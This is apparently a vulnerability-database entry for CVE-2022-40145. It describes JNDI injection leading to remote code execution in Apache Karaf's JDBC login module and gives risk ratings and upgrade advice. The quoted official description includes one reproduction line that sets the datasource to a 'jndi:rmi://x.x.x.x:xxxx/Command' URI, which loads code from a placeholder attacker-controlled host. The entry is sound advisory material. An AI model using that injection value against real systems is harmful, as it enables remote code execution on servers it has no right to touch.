CVE-2022-40145
CWE-20Published: December 21, 2022· Updated: Jun 17, 2026
Official Description
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.
The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource
use InitialContext.lookup(jndiName) without filtering.
An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup.
This is vulnerable to a remote code execution (RCE) attack when a
configuration uses a JNDI LDAP data source URI when an attacker has
control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.
We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
Risk Analysis
Apache Karaf is vulnerable to remote code execution when a JNDI LDAP data source URI is used and an attacker controls the LDAP server. This critical flaw allows for unauthorized code execution.
No public exploit is known, and the vulnerability is not in the KEV catalog.
Upgrade to Apache Karaf version 4.4.2 or later.
Technical Analysis
CVE-2022-40145 can be exploited remotely over the network without requiring physical or adjacent access, significantly expanding the attack surface for threat actors.
The vulnerability requires no privileges and no user interaction, making it a prime target for automated exploitation campaigns and worm-like propagation.
A successful exploit results in complete confidentiality breach (data exposure), full integrity compromise (data manipulation), availability disruption (denial of service), with a CVSS base score of 9.8.
CVSS v3.1 Vector Breakdown
Affected Vendors & Products
Exploit & PoC Resources
Official Patches & Advisories
All References (2)
Quick Facts
Related CVEs (CWE-20)
Recommended Actions
- →Apply vendor patches immediately
- →Monitor CVE-2022-40145 in threat intel feeds
- →Review IDS/IPS signatures for exploitation attempts